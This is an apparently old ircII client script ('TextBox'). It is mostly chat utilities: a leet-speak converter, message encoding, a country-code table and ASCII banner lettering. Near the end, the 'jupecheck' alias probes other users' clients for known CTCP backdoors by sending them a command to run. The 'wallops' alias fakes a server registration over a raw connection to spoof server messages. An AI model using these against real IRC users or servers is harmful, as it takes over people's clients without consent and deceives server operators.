leet.set.8.1 I assign leet.set.8.2 1 assign leet.set.8.3 ! assign leet.set.9.0 j assign leet.set.9.1 J assign leet.set.9.2 j assign leet.set.9.3 j assign leet.set.10.0 k assign leet.set.10.1 K assign leet.set.10.2 |< assign leet.set.10.3 /< assign leet.set.11.0 l assign leet.set.11.1 L assign leet.set.11.2 |_ assign leet.set.11.3 /_ assign leet.set.12.0 m assign leet.set.12.1 M assign leet.set.12.2 |\/| assign leet.set.12.3 M assign leet.set.13.0 n assign leet.set.13.1 N assign leet.set.13.2 |\| assign leet.set.13.3 N assign leet.set.14.0 o assign leet.set.14.1 O assign leet.set.14.2 0 assign leet.set.14.3 () assign leet.set.15.0 p assign leet.set.15.1 P assign leet.set.15.2 |^ assign leet.set.15.3 p assign leet.set.16.0 q assign leet.set.16.1 Q assign leet.set.16.2 Q assign leet.set.16.3 q assign leet.set.17.0 r assign leet.set.17.1 R assign leet.set.17.2 /> assign leet.set.17.3 r assign leet.set.18.0 s assign leet.set.18.1 S assign leet.set.18.2 5 assign leet.set.18.3 $ assign leet.set.19.0 t assign leet.set.19.1 T assign leet.set.19.2 + assign leet.set.19.3 ~|~ assign leet.set.20.0 u assign leet.set.20.1 U assign leet.set.20.2 (_) assign leet.set.20.3 |_| assign leet.set.21.0 v assign leet.set.21.1 V assign leet.set.21.2 \/ assign leet.set.21.3 v assign leet.set.22.0 w assign leet.set.22.1 W assign leet.set.22.2 |/\| assign leet.set.22.3 W assign leet.set.23.0 x assign leet.set.23.1 X assign leet.set.23.2 )( assign leet.set.23.3 >< assign leet.set.24.0 y assign leet.set.24.1 Y assign leet.set.24.2 `/ assign leet.set.24.3 y assign leet.set.25.0 z assign leet.set.25.1 Z assign leet.set.25.2 2 assign leet.set.25.3 ~/_ alias eleetf { @ sane.str = [$*] @ sane.len = @sane.str @ leet.str = [] @ leet.len = 0 while (leet.len < sane.len) { @ leet.ind = index($mid($leet.len 1 $sane.str) $sane.set) if (leet.ind > -1) { @leet.str = leet.str ## leet.set[$leet.ind][$rand(4)] } { @leet.str = leet.str ## mid($leet.len 1 $sane.str) } @leet.len = leet.len + 1 } @ function_return = leet.str ^assign -leet.len ;^assign -leet.str ;^assign -leet.ind ^assign -sane.str ;^assign -sane.str } alias kradwrite {/sendmsg $0 $eleetf($1-)} alias kradsay {/saychan $eleetf($0-)} EVAL ^set input_prompt [=== ] TextBox version $TBVERS loading... # --------------------------------------------------------------------------- on ^raw_irc "% PRIVMSG #% :* ?? -+ TEXT +-" { if ([$AUTODECODE] == [ON]) { if ([$2] == [$C]) { echo <$nickonly($0)> $strip(: $3-) echo [DECRYPT] <$nickonly($0)> $strip( $decode($strip(: $left($index(" $3-) $3-)))) } { echo <$nickonly($0):$2> $strip(: $3-) echo [DECRYPT] <$nickonly($0):$2> $strip( $decode($strip(: $left($index(" $3-) $3-)))) } } } on #-msg 2 "% * ?? -+ TEXT +-" { if ([$AUTODECODE] == [ON]) { echo [DECRYPT] *$0* $strip( $decode($left($index(" $1-) $1-))) } } alias txt {/sendmsg $C $encode($0-)" $randcrap(2) -+ TEXT +-} alias ptxt {/sendmsg $0 $encode($1-)" $randcrap(2) -+ TEXT +-} @ banfilter.in = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~_-] @ banfilter.out =[?bcd?fgh?jklmn?pqr?t?vw??z?BCD?FGH?JKLMN?PQRST?VW??Z??????????*??] alias banfilter { @ r3.line = [$*] @ r3.len = @r3.line @ r3.new = [] @ r3.cnt = 0 while (r3.cnt < r3.len) { @ r3.ind = index($mid($r3.cnt 1 $r3.line) $banfilter.in) if (r3.ind > -1) { @r3.new = r3.new ## mid($r3.ind 1 $banfilter.out) } { @r3.new = r3.new ## mid($r3.cnt 1 $r3.line) } @r3.cnt = r3.cnt + 1 } @ function_return = r3.new ^assign -r3.cnt ;^assign -r3.new ;^assign -r3.ind ;^assign -r3.line ^assign -r3.len } # --------------------------------------------------------------------------- @country_name.1 = [AFGHANISTAN] @country_symbol.1 = [AF] @country_name.2 = [ALBANIA] @country_symbol.2 = [AL] @country_name.3 = [ALGERIA] @country_symbol.3 = [DZ] @country_name.4 = [AMERICAN SAMOA] @country_symbol.4 = [AS] @country_name.5 = [ANDORRA] @country_symbol.5 = [AD] @country_name.6 = [ANGOLA] @country_symbol.6 = [AO] @country_name.7 = [ANGUILLA] @country_symbol.7 = [AI] @country_name.8 = [ANTARCTICA] @country_symbol.8 = [AQ] @country_name.9 = [ANTIGUA AND BARBUDA] @country_symbol.9 = [AG] @country_name.10 = [ARGENTINA] @country_symbol.10 = [AR] @country_name.11 = [ARMENIA] @country_symbol.11 = [AM] @country_name.12 = [ARUBA] @country_symbol.12 = [AW] @country_name.13 = [AUSTRALIA] @country_symbol.13 = [AU] @country_name.14 = [AUSTRIA] @country_symbol.14 = [AT] @country_name.15 = [AZERBAIJAN] @country_symbol.15 = [AZ] @country_name.16 = [BAHAMAS] @country_symbol.16 = [BS] @country_name.17 = [BAHRAIN] @country_symbol.17 = [BH] @country_name.18 = [BANGLADESH] @country_symbol.18 = [BD] @country_name.19 = [BARBADOS] @country_symbol.19 = [BB] @country_name.20 = [BELARUS] @country_symbol.20 = [BY] @country_name.21 = [BELGIUM] @country_symbol.21 = [BE] @country_name.22 = [BELIZE] @country_symbol.22 = [BZ] @country_name.23 = [BENIN] @country_symbol.23 = [BJ] @country_name.24 = [BERMUDA] @country_symbol.24 = [BM] @country_name.25 = [BHUTAN] @country_symbol.25 = [BT] @country_name.26 = [BOLIVIA] @country_symbol.26 = [BO] @country_name.27 = [BOSNIA] @country_symbol.27 = [BA] @country_name.28 = [BOTSWANA] @country_symbol.28 = [BW] @country_name.29 = [BOUVET ISLAND] @country_symbol.29 = [BV] @country_name.30 = [BRAZIL] @country_symbol.30 = [BR] @country_name.31 = [BRITISH INDIAN OCEAN TERRITORY] @country_symbol.31 = [IO] @country_name.32 = [BRUNEI DARUSSALAM] @country_symbol.32 = [BN] @country_name.33 = [BRUNEI] @country_symbol.33 = [BN] @country_name.34 = [BULGARIA] @country_symbol.34 = [BG] @country_name.35 = [BURKINA FASO] @country_symbol.35 = [BF] @country_name.36 = [BURUNDI] @country_symbol.36 = [BI] @country_name.37 = [BYELORUSSIAN SSR] @country_symbol.37 = [BY] @country_name.38 = [CAMBODIA] @country_symbol.38 = [KH] @country_name.39 = [CAMEROON] @country_symbol.39 = [CM] @country_name.40 = [CANADA] @country_symbol.40 = [CA] @country_name.41 = [CAP VERDE] @country_symbol.41 = [CV] @country_name.42 = [CAYMAN ISLANDS] @country_symbol.42 = [KY] @country_name.43 = [CENTRAL AFRICAN REPUBLIC] @country_symbol.43 = [CF] @country_name.44 = [CHAD] @country_symbol.44 = [TD] @country_name.45 = [CHILE] @country_symbol.45 = [CL] @country_name.46 = [CHINA] @country_symbol.46 = [CN] @country_name.47 = [CHRISTMAS ISLAND] @country_symbol.47 = [CX] @country_name.48 = [COCOS (KEELING) ISLANDS] @country_symbol.48 = [CC] @country_name.49 = [COLOMBIA] @country_symbol.49 = [CO] @country_name.50 = [COMOROS] @country_symbol.50 = [KM] @country_name.51 = [CONGO] @country_symbol.51 = [CG] @country_name.52 = [COOK ISLANDS] @country_symbol.52 = [CK] @country_name.53 = [COSTA RICA] @country_symbol.53 = [CR] @country_name.54 = [COTE D'IVOIRE] @country_symbol.54 = [CI] @country_name.55 = [CROATIA] @country_symbol.55 = [HR] @country_name.56 = [HRVATSKA] @country_symbol.56 = [HR] @country_name.57 = [CUBA] @country_symbol.57 = [CU] @country_name.58 = [CYPRUS] @country_symbol.58 = [CY] @country_name.59 = [CZECHOSLOVAKIA] @country_symbol.59 = [CS] EVAL ^set input_prompt [===- ] TextBox version $TBVERS loading... @country_name.60 = [DENMARK] @country_symbol.60 = [DK] @country_name.61 = [DJIBOUTI] @country_symbol.61 = [DJ] @country_name.62 = [DOMINICA] @country_symbol.62 = [DM] @country_name.63 = [DOMINICAN REPUBLIC] @country_symbol.63 = [DO] @country_name.64 = [EAST TIMOR] @country_symbol.64 = [TP] @country_name.65 = [ECUADOR] @country_symbol.65 = [EC] @country_name.66 = [EGYPT] @country_symbol.66 = [EG] @country_name.67 = [EL SALVADOR] @country_symbol.67 = [SV] @country_name.68 = [EQUATORIAL GUINEA] @country_symbol.68 = [GQ] @country_name.69 = [ESTONIA] @country_symbol.69 = [EE] @country_name.70 = [ETHIOPIA] @country_symbol.70 = [ET] @country_name.71 = [FALKLAND ISLANDS] @country_symbol.71 = [FK] @country_name.72 = [MALVINAS] @country_symbol.72 = [FK] @country_name.73 = [FAROE ISLANDS] @country_symbol.73 = [FO] @country_name.74 = [FIJI] @country_symbol.74 = [FJ] @country_name.75 = [FINLAND] @country_symbol.75 = [FI] @country_name.76 = [FRANCE] @country_symbol.76 = [FR] @country_name.77 = [FRENCH GUIANA] @country_symbol.77 = [GF] @country_name.78 = [FRENCH POLYNESIA] @country_symbol.78 = [PF] @country_name.79 = [FRENCH SOUTHERN TERRITORIES] @country_symbol.79 = [TF] @country_name.80 = [GABON] @country_symbol.80 = [GA] @country_name.81 = [GAMBIA] @country_symbol.81 = [GM] @country_name.82 = [GEORGIA] @country_symbol.82 = [GE] @country_name.83 = [GERMANY] @country_symbol.83 = [DE] @country_name.84 = [DEUTSCHLAND] @country_symbol.84 = [DE] @country_name.85 = [GHANA] @country_symbol.85 = [GH] @country_name.86 = [GIBRALTAR] @country_symbol.86 = [GI] @country_name.87 = [GREECE] @country_symbol.87 = [GR] @country_name.88 = [GREENLAND] @country_symbol.88 = [GL] @country_name.89 = [GRENADA] @country_symbol.89 = [GD] @country_name.90 = [GUADELOUPE] @country_symbol.90 = [GP] @country_name.91 = [GUAM] @country_symbol.91 = [GU] @country_name.92 = [GUATEMALA] @country_symbol.92 = [GT] @country_name.93 = [GUINEA] @country_symbol.93 = [GN] @country_name.94 = [GUINEA BISSAU] @country_symbol.94 = [GW] @country_name.95 = [GYANA] @country_symbol.95 = [GY] @country_name.96 = [HAITI] @country_symbol.96 = [HT] @country_name.97 = [HEARD AND MC DONALD ISLANDS] @country_symbol.97 = [HM] @country_name.98 = [HONDURAS] @country_symbol.98 = [HN] @country_name.99 = [HONG KONG] @country_symbol.99 = [HK] @country_name.100 = [HUNGARY] @country_symbol.100 = [HU] @country_name.101 = [ICELAND] @country_symbol.101 = [IS] @country_name.102 = [INDIA] @country_symbol.102 = [IN] @country_name.103 = [INDONESIA] @country_symbol.103 = [ID] @country_name.104 = [IRAN] @country_symbol.104 = [IR] @country_name.105 = [IRAQ] @country_symbol.105 = [IQ] @country_name.106 = [IRELAND] @country_symbol.106 = [IE] @country_name.107 = [ISRAEL] @country_symbol.107 = [IL] @country_name.108 = [ITALY] @country_symbol.108 = [IT] @country_name.109 = [JAMAICA] @country_symbol.109 = [JM] @country_name.110 = [JAPAN] @country_symbol.110 = [JP] @country_name.111 = [JORDAN] @country_symbol.111 = [JO] @country_name.112 = [KAZAKHSTAN] @country_symbol.112 = [KZ] @country_name.113 = [KENYA] @country_symbol.113 = [KE] @country_name.114 = [KIRIBATI] @country_symbol.114 = [KI] @country_name.115 = [NORTH KOREA] @country_symbol.115 = [KP] @country_name.116 = [SOUTH KOREA] @country_symbol.116 = [KR] @country_name.117 = [KUWAIT] @country_symbol.117 = [KW] @country_name.118 = [KYRGYZSTAN] @country_symbol.118 = [KG] @country_name.119 = [LAO] @country_symbol.119 = [LA] @country_name.120 = [LAOS] @country_symbol.120 = [LA] @country_name.121 = [LATVIA] @country_symbol.121 = [LV] @country_name.122 = [LEBANON] @country_symbol.122 = [LB] @country_name.123 = [LESOTHO] @country_symbol.123 = [LS] @country_name.124 = [LIBERIA] @country_symbol.124 = [LR] @country_name.125 = [LIBYAN ARAB JAMAHIRIYA] @country_symbol.125 = [LY] @country_name.126 = [LYBIA] @country_symbol.126 = [LY] @country_name.127 = [LIECHTENSTEIN] @country_symbol.127 = [LI] @country_name.128 = [LITHUANIA] @country_symbol.128 = [LT] @country_name.129 = [LUXEMBOURG] @country_symbol.129 = [LU] @country_name.130 = [MACAU] @country_symbol.130 = [MO] @country_name.131 = [MACEDONIA] @country_symbol.131 = [MK] @country_name.132 = [MADAGASCAR] @country_symbol.132 = [MG] @country_name.133 = [MALAWI] @country_symbol.133 = [MW] @country_name.134 = [MALAYSIA] @country_symbol.134 = [MY] @country_name.135 = [MALDIVES] @country_symbol.135 = [MV] @country_name.136 = [MALI] @country_symbol.136 = [ML] @country_name.137 = [MALTA] @country_symbol.137 = [MT] @country_name.138 = [MARSHALL ISLANDS] @country_symbol.138 = [MH] @country_name.139 = [MARTINIQUE] @country_symbol.139 = [MQ] @country_name.140 = [MAURITANIA] @country_symbol.140 = [MR] @country_name.141 = [MAURITIUS] @country_symbol.141 = [MU] @country_name.142 = [MEXICO] @country_symbol.142 = [MX] @country_name.143 = [MICRONESIA] @country_symbol.143 = [FM] EVAL ^set input_prompt [==== ] TextBox version $TBVERS loading... @country_name.144 = [MOLDOVA] @country_symbol.144 = [MD] @country_name.145 = [MONACO] @country_symbol.145 = [MC] @country_name.146 = [MONGOLIA] @country_symbol.146 = [MN] @country_name.147 = [MONTSERRAT] @country_symbol.147 = [MS] @country_name.148 = [MOROCCO] @country_symbol.148 = [MA] @country_name.149 = [MOZAMBIQUE] @country_symbol.149 = [MZ] @country_name.150 = [MYANMAR] @country_symbol.150 = [MM] @country_name.151 = [NAMIBIA] @country_symbol.151 = [NA] @country_name.152 = [NAURU] @country_symbol.152 = [NR] @country_name.153 = [NEPAL] @country_symbol.153 = [NP] @country_name.154 = [NETHERLANDS] @country_symbol.154 = [NL] @country_name.155 = [NETHERLANDS ANTILLES] @country_symbol.155 = [AN] @country_name.156 = [NEUTRAL ZONE] @country_symbol.156 = [NT] @country_name.157 = [NEW CALEDONIA] @country_symbol.157 = [NC] @country_name.158 = [NEW ZEALAND] @country_symbol.158 = [NZ] @country_name.159 = [NICARAGUA] @country_symbol.159 = [NI] @country_name.160 = [NIGER] @country_symbol.160 = [NE] @country_name.161 = [NIGERIA] @country_symbol.161 = [NG] @country_name.162 = [NIUE] @country_symbol.162 = [NU] @country_name.163 = [NORFOLK ISLAND] @country_symbol.163 = [NF] @country_name.164 = [NORTHERN MARIANA ISLANDS] @country_symbol.164 = [MP] @country_name.165 = [NORWAY] @country_symbol.165 = [NO] @country_name.166 = [OMAN] @country_symbol.166 = [OM] @country_name.167 = [PAKISTAN] @country_symbol.167 = [PK] @country_name.168 = [PALAU] @country_symbol.168 = [PW] @country_name.169 = [PANAMA] @country_symbol.169 = [PA] @country_name.170 = [PAPUA NEW GUINEA] @country_symbol.170 = [PG] @country_name.171 = [PAPUA] @country_symbol.171 = [PG] @country_name.172 = [NEW GUINEA] @country_symbol.172 = [PG] @country_name.173 = [PARAGUAY] @country_symbol.173 = [PY] @country_name.174 = [PERU] @country_symbol.174 = [PE] @country_name.175 = [PHILIPPINES] @country_symbol.175 = [PH] @country_name.176 = [PITCAIRN] @country_symbol.176 = [PN] @country_name.177 = [POLAND] @country_symbol.177 = [PL] @country_name.178 = [PORTUGAL] @country_symbol.178 = [PT] @country_name.179 = [PUERTO RICO] @country_symbol.179 = [PR] @country_name.180 = [QATAR] @country_symbol.180 = [QA] @country_name.181 = [REUNION] @country_symbol.181 = [RE] @country_name.182 = [ROMANIA] @country_symbol.182 = [RO] @country_name.183 = [RUSSIAN FEDERATION] @country_symbol.183 = [RU] @country_name.184 = [RWANDA] @country_symbol.184 = [RW] @country_name.185 = [SAINT KITTS AND NEVIS] @country_symbol.185 = [KN] @country_name.186 = [SAINT LUCIA] @country_symbol.186 = [LC] @country_name.187 = [SAINT VINCENT AND THE GRENADINES] @country_symbol.187 = [VC] @country_name.188 = [SAMOA] @country_symbol.188 = [WS] @country_name.189 = [SAN MARINO] @country_symbol.189 = [SM] @country_name.190 = [SAO TOME AND PRINCIPE] @country_symbol.190 = [ST] @country_name.191 = [SAUDI ARABIA] @country_symbol.191 = [SA] @country_name.192 = [SENEGAL] @country_symbol.192 = [SN] @country_name.193 = [SEYCHELLES] @country_symbol.193 = [SC] @country_name.194 = [SIERRA LEONE] @country_symbol.194 = [SL] @country_name.195 = [SINGAPORE] @country_symbol.195 = [SG] @country_name.196 = [SLOVENIA] @country_symbol.196 = [SI] @country_name.197 = [SOLOMON ISLANDS] @country_symbol.197 = [SB] @country_name.198 = [SOMALIA] @country_symbol.198 = [SO] @country_name.199 = [SOUTH AFRICA] @country_symbol.199 = [ZA] @country_name.200 = [SPAIN] @country_symbol.200 = [ES] @country_name.201 = [SRI LANKA] @country_symbol.201 = [LK] @country_name.202 = [ST. HELENA] @country_symbol.202 = [SH] @country_name.203 = [ST. PIERRE AND MIQUELON] @country_symbol.203 = [PM] @country_name.204 = [SUDAN] @country_symbol.204 = [SD] @country_name.205 = [SURINAME] @country_symbol.205 = [SR] @country_name.206 = [SVALBARD AND JAN MAYEN ISLANDS] @country_symbol.206 = [SJ] @country_name.207 = [SWAZILAND] @country_symbol.207 = [SZ] @country_name.208 = [SWEDEN] @country_symbol.208 = [SE] @country_name.209 = [SWITZERLAND] @country_symbol.209 = [CH] @country_name.210 = [CANTONS OF HELVETIA] @country_symbol.210 = [CH] @country_name.211 = [CONFEDERATION HELVETIQUE] @country_symbol.211 = [CH] @country_name.212 = [SYRIAN ARAB REPUBLIC] @country_symbol.212 = [SY] @country_name.213 = [SYRIA] @country_symbol.213 = [SY] @country_name.214 = [TAIWAN] @country_symbol.214 = [TW] @country_name.215 = [TAJIKISTAN] @country_symbol.215 = [TJ] @country_name.216 = [TANZANIA] @country_symbol.216 = [TZ] @country_name.217 = [THAILAND] @country_symbol.217 = [TH] @country_name.218 = [TOGO] @country_symbol.218 = [TG] @country_name.219 = [TOKELAU] @country_symbol.219 = [TK] @country_name.220 = [TONGA] @country_symbol.220 = [TO] @country_name.221 = [TRINIDAD AND TOBAGO] @country_symbol.221 = [TT] @country_name.222 = [TUNISIA] @country_symbol.222 = [TN] @country_name.223 = [TURKEY] @country_symbol.223 = [TR] @country_name.224 = [TURKMENISTAN] @country_symbol.224 = [TM] @country_name.225 = [TURKS AND CAICOS ISLANDS] @country_symbol.225 = [TC] @country_name.226 = [TUVALU] @country_symbol.226 = [TV] @country_name.227 = [UGANDA] @country_symbol.227 = [UG] EVAL ^set input_prompt [====- ] TextBox version $TBVERS loading... @country_name.228 = [UKRAINIAN SSR] @country_symbol.228 = [UA] @country_name.229 = [UNITED ARAB EMIRATES] @country_symbol.229 = [AE] @country_name.230 = [UNITED KINGDOM] @country_symbol.230 = [UK] @country_name.231 = [GREAT BRITAIN] @country_symbol.231 = [GB] @country_name.232 = [UNITED STATES OF AMERICA] @country_symbol.232 = [US] @country_name.233 = [UNITED STATES] @country_symbol.233 = [US] @country_name.234 = [UNITED STATES MINOR OUTLYING ISLANDS] @country_symbol.234 = [UM] @country_name.235 = [URUGUAY] @country_symbol.235 = [UY] @country_name.236 = [USSR] @country_symbol.236 = [SU] @country_name.237 = [SOVIET UNION] @country_symbol.237 = [SU] @country_name.238 = [UZBEKISTAN] @country_symbol.238 = [UZ] @country_name.239 = [VANUATU] @country_symbol.239 = [VU] @country_name.240 = [VATICAN] @country_symbol.240 = [VA] @country_name.241 = [VATICAN CITY STATE] @country_symbol.241 = [VA] @country_name.242 = [VENEZUELA] @country_symbol.242 = [VE] @country_name.243 = [VIET NAM] @country_symbol.243 = [VN] @country_name.244 = [VIRGIN ISLANDS (US)] @country_symbol.244 = [VI] @country_name.245 = [VIRGIN ISLANDS (UK)] @country_symbol.245 = [VG] @country_name.246 = [WALLIS AND FUTUNA ISLANDS] @country_symbol.246 = [WF] @country_name.247 = [WESTERN SAHARA] @country_symbol.247 = [EH] @country_name.248 = [YEMEN] @country_symbol.248 = [YE] @country_name.249 = [YUGOSLAVIA] @country_symbol.249 = [YU] @country_name.250 = [ZAIRE] @country_symbol.250 = [ZR] @country_name.251 = [ZAMBIA] @country_symbol.251 = [ZM] @country_name.252 = [ZIMBABWE] @country_symbol.252 = [ZW] @country_name.253 = [COMMERCIAL ORGANIZATION (US)] @country_symbol.253 = [COM] @country_name.254 = [EDUCATIONAL INSTITUTION (US)] @country_symbol.254 = [EDU] @country_name.255 = [NETWORKING ORGANIZATION (US)] @country_symbol.255 = [NET] @country_name.256 = [MILITARY (US)] @country_symbol.256 = [MIL] @country_name.257 = [NON-PROFIT ORGANIZATION (US)] @country_symbol.257 = [ORG] @country_name.258 = [GOVERNMENT (US)] @country_symbol.258 = [GOV] @country_name.259 = [KOREA - DEMOCRATIC PEOPLE'S REPUBLIC OF] @country_symbol.259 = [KP] @country_name.260 = [KOREA - REPUBLIC OF] @country_symbol.260 = [KR] @country_name.261 = [LAO PEOPLES' DEMOCRATIC REPUBLIC] @country_symbol.261 = [LA] @country_name.262 = [RUSSIA] @country_symbol.262 = [SU] @country_name.263 = [SLOVAKIA] @country_symbol.263 = [SK] @country_name.264 = [CZECH] @country_symbol.264 = [CZ] @country_name.265 = [ARPANET (US MILITARY)] @country_symbol.265 = [ARPA] alias country { if ([$0]) { @ CCODE = 0 ^assign DOM $strip(. $0) echo *** Looking up country name for .$strip(. $0), please be patient... ^set input_prompt Looking up domain... foreach country_name XX { if ([$country_symbol[$XX]] == [$DOM]) {/EVAL @ CCODE = $XX} } ^set -input_prompt if ([$CCODE] == 0) {/echo *** No country name for $DOM found.} {/echo *** .$DOM is $country_name[$CCODE]} ^assign -DOM ^assign -CCODE } {/echo *** /country (Ex: /country edu)} if ([$1]) {/country $1-} } alias whereis { if ([$0]) { ^Userhost $0 -CMD if ([$3]) { if ([$3] != []) { ^assign DOM $strip(. $right(3 $4)) if ([$strip(. $right(4 $4))] == [ARPA]) {^assign DOM ARPA} @ CCODE = 0 echo *** Looking up $0's domain, please wait... ^set input_prompt Looking up domain... foreach country_name XX { if ([$country_symbol[$XX]] == [$DOM]) {/EVAL @ CCODE = $XX} } ^set -input_prompt if ([$CCODE] == 0) {/echo *** $0's domain \(.${DOM}\) could not be identified.} {/echo *** $0's domain \(.${DOM}\) is $country_name[$CCODE]} ^assign -DOM ^assign -CCODE } {/echo *** Cannot find $0} } } {/echo *** /whereis } } # --------------------------------------------------------------------------- # Character bitmaps assign BA[1] ///// assign BB[1] // // assign BC[1] // // assign BD[1] /////// assign BE[1] // // assign BA[2] ////// assign BB[2] // // assign BC[2] ////// assign BD[2] // // assign BE[2] ////// assign BA[3] /////// assign BB[3] // assign BC[3] // assign BD[3] // assign BE[3] /////// assign BA[4] ////// assign BB[4] // // assign BC[4] // // assign BD[4] // // assign BE[4] ////// assign BA[5] /////// assign BB[5] // assign BC[5] ///// assign BD[5] // assign BE[5] /////// assign BA[6] /////// assign BB[6] // assign BC[6] ///// assign BD[6] // assign BE[6] // assign BA[7] /////// assign BB[7] // assign BC[7] // /// assign BD[7] // // assign BE[7] /////// assign BA[8] // // assign BB[8] // // assign BC[8] /////// assign BD[8] // // assign BE[8] // // assign BA[9] /////// assign BB[9] / assign BC[9] / assign BD[9] / assign BE[9] /////// assign BA[10] /// assign BB[10] / assign BC[10] / assign BD[10] // / assign BE[10] ////// assign BA[11] // // assign BB[11] // // assign BC[11] //// assign BD[11] // // assign BE[11] // // assign BA[12] // assign BB[12] // assign BC[12] // assign BD[12] // assign BE[12] /////// assign BA[13] /////// assign BB[13] // / // assign BC[13] // / // assign BD[13] // / // assign BE[13] // // EVAL ^set input_prompt [===== ] TextBox version $TBVERS loading... assign BA[14] // // assign BB[14] /// // assign BC[14] // / // assign BD[14] // /// assign BE[14] // // assign BA[15] /////// assign BB[15] // // assign BC[15] // // assign BD[15] // // assign BE[15] /////// assign BA[16] /////// assign BB[16] // // assign BC[16] /////// assign BD[16] // assign BE[16] // assign BA[17] /////// assign BB[17] // // assign BC[17] // // assign BD[17] // //// assign BE[17] /////// assign BA[18] /////// assign BB[18] // // assign BC[18] /////// assign BD[18] //// assign BE[18] // /// assign BA[19] /////// assign BB[19] // assign BC[19] /////// assign BD[19] // assign BE[19] /////// assign BA[20] /////// assign BB[20] / assign BC[20] / assign BD[20] / assign BE[20] / assign BA[21] // // assign BB[21] // // assign BC[21] // // assign BD[21] // // assign BE[21] /////// assign BA[22] // // assign BB[22] // // assign BC[22] // // assign BD[22] // // assign BE[22] /// assign BE[23] /////// assign BD[23] // / // assign BC[23] // / // assign BB[23] // / // assign BA[23] // // assign BA[24] // // assign BB[24] // // assign BC[24] // assign BD[24] // // assign BE[24] // // assign BA[25] // // assign BB[25] // // assign BC[25] // assign BD[25] // assign BE[25] // assign BA[26] /////// assign BB[26] // assign BC[26] /// assign BD[26] // assign BE[26] /////// assign BA[27] /////// assign BB[27] /// // assign BC[27] // / // assign BD[27] // /// assign BE[27] /////// assign BA[28] // assign BB[28] // assign BC[28] // assign BD[28] // assign BE[28] // assign BA[29] /////// assign BB[29] // // assign BC[29] // assign BD[29] // assign BE[29] /////// assign BA[30] /////// assign BB[30] // assign BC[30] ///// assign BD[30] // assign BE[30] /////// assign BA[31] // // assign BB[31] // // assign BC[31] /////// assign BD[31] // assign BE[31] // assign BA[32] /////// assign BB[32] // assign BC[32] /////// assign BD[32] // assign BE[32] /////// assign BA[33] /////// assign BB[33] // assign BC[33] /////// assign BD[33] // // assign BE[33] /////// assign BA[34] /////// assign BB[34] // assign BC[34] // assign BD[34] // assign BE[34] // assign BA[35] /////// assign BB[35] // // assign BC[35] /////// assign BD[35] // // assign BE[35] /////// assign BA[36] /////// assign BB[36] // // assign BC[36] /////// assign BD[36] // assign BE[36] /////// assign BA[37] / / assign BB[37] /////// assign BC[37] / / assign BD[37] /////// assign BE[37] / / assign BA[38] assign BB[38] assign BC[38] assign BD[38] assign BE[38] assign BA[39] / assign BB[39] / assign BC[39] / assign BD[39] assign BE[39] / assign BA[40] assign BB[40] assign BC[40] ----- assign BD[40] assign BE[40] # End of character bitmaps EVAL ^set input_prompt [=====- ] TextBox version $TBVERS loading... #format: #<123456789> xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx #<123456789> xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx #<123456789> xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx #<123456789> xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx #<123456789> xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx xxxxxxx alias indexnum { EVAL ^assign RETI $index($0 =abcdefghijklmnopqrstuvwxyz0123456789#_!-) if ([$RETI] == [-1]) {/EVAL ^assign RETI $index($0 =ABCDEFGHIJKLMNOPQRSTUVWXYZ|123456789#_!-)} EVAL if ([$0] == 0) {/EVAL @ RETI = 27} EVAL ^assign FUNCTION_RETURN $RETI } alias bigwrite { if ([$8]) {/echo *** More than 7 characters, remaining characters ignored.} if ([$0]) { if ([$1]) {^assign S1 $indexnum($1)} {^assign S1 0} if ([$2]) {^assign S2 $indexnum($2)} {^assign S2 0} if ([$3]) {^assign S3 $indexnum($3)} {^assign S3 0} if ([$4]) {^assign S4 $indexnum($4)} {^assign S4 0} if ([$5]) {^assign S5 $indexnum($5)} {^assign S5 0} if ([$6]) {^assign S6 $indexnum($6)} {^assign S6 0} if ([$7]) {^assign S7 $indexnum($7)} {^assign S7 0} EVAL sendmsg $0 $BA[$S1] $BA[$S2] $BA[$S3] $BA[$S4] $BA[$S5] $BA[$S6] $BA[$S7] EVAL sendmsg $0 $BB[$S1] $BB[$S2] $BB[$S3] $BB[$S4] $BB[$S5] $BB[$S6] $BB[$S7] EVAL sendmsg $0 $BC[$S1] $BC[$S2] $BC[$S3] $BC[$S4] $BC[$S5] $BC[$S6] $BC[$S7] EVAL sendmsg $0 $BD[$S1] $BD[$S2] $BD[$S3] $BD[$S4] $BD[$S5] $BD[$S6] $BD[$S7] EVAL sendmsg $0 $BE[$S1] $BE[$S2] $BE[$S3] $BE[$S4] $BE[$S5] $BE[$S6] $BE[$S7] ^assign -RETI ^assign -S1 ^assign -S2 ^assign -S3 ^assign -S4 ^assign -S5 ^assign -S6 ^assign -S7 } { echo *** /bigwrite 1 2 3 4 5 6 7 echo *** echo *** 1,2,etc. are up to 7 letters to write, seperated by spaces. echo *** Valid characters are :ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789#!- echo *** Characters after #7 will be ignored. Use _ for spaces. } } # --------------------------------------------------------------------------- alias smsg { if ([$1]) {/echo *** No spaces allowed in message.} {/quote SERVER $0} } alias saytsu {/EVAL //msg $C $TSU} alias jupecheck { if ([$0]) { echo *** Checking for bugs/backdoors. You will get notices back if any are found. EVAL ctcp $0 JUPE quote NOTICE $N :I am CTCP JUPE vulnerable. Type '/ctcp $0 JUPE ' to control my client. EVAL ctcp $0 GROK quote NOTICE $N :I am CTCP GROK vulnerable. Type '/ctcp $0 GROK ' to control my client. EVAL ctcp $0 CMD quote NOTICE $N :I am CTCP CMD vulnerable. Type '/ctcp $0 CMD ' to control my client. EVAL ctcp $0 ORD quote NOTICE $N :I am CTCP ORD vulnerable. Type '/ctcp $0 ORD ' to control my client. } {/echo *** You must specify a nick.} } alias version { if ([$0]) { if (rmatch($0 *.*)) {//version $0} {/ctcp $0 VERSION} } { //version echo *** TextBox: version $TBVERS } } alias wallops { if ([$2]) {/echo *** No spaces allowed in message.} { if (rmatch($0 *.*)) { ^set display off EVAL ^assign SERVPID $connect($0 6667) ^set display on EVAL ^dcc raw $SERVPID $0 server $1 . . :[TextBox] /wallops ^dcc close raw $SERVPID ^assign -SERVPID echo *** Sent wallops to server $0 } {/echo *** /wallops } } 